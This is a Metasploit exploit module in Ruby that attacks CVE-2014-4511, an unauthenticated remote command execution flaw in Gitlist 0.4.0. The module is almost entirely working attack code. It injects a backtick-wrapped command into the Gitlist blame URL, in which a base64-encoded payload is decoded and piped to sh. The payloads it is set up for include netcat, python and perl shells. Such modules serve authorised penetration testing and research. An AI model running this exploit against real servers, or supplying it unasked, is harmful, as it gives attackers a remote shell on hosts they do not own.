metasploit-framework/modules/exploits/linux/http/gitlist_exec.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Gitlist Unauthenticated Command Execution',
      'Description'    => %q{
      This module exploit an unauthenticated remote command execution vulnerability
      in version 0.4.0 of Gitlist.
      },
      'License'        => MSF_LICENSE,
      'Privileged'     => true,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Author'         =>
        [
          'drone', #discovery/poc @dronesec
          'Brandon Perry <bperry.volatile@gmail.com>' #Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2014-4511'],
          ['URL', 'http://hatriot.github.io/blog/2014/06/29/gitlist-rce/'],
          ['EDB', '33929']
        ],
      'Payload'        =>
        {
          'Space'       => 9999, #arbitrary, length of GET request really
          'BadChars'    => "", #base64 encode then execute
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat netcat-e python perl',
            }
        },
      'DefaultOptions' =>
        {
          'ExitFunction' => 'none'
        },
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 30 2014'
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI od the vulnerable instance', '/'])
      ], self.class)
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path)
    })

    if !res
      fail_with("Server did not respond in an expected way")
    end

    first = /href="\/gitlist\/(.*)\/"/.match(res.body)

    if !first or first.length < 2
      fail_with("We don't have a properly configured Gitlist")
    end

    chk = Rex::Text.encode_base64(Rex::Text.rand_text_alpha(rand(32)+5))

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, first, 'blame', 'master', '%22%22`echo${IFS}' + chk + '|base64${IFS}--decode`')
    })

    if res and res.body =~ /#{Rex::Text.decode_base64(chk)}/
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    pay = Rex::Text::encode_base64(payload.encoded)

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path)
    })

    if !res
      fail_with("Server did not respond in an expected way")
    end

    first = /href="\/gitlist\/(.*)\/"/.match(res.body)

    if !first or first.length < 2
      fail_with("We don't have a properly configured Gitlist installation")
    end

    first = first[1]

    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, first, 'blame', 'master', '%22%22`echo${IFS}' + pay + '|base64${IFS}--decode|sh`')
    })
  end

end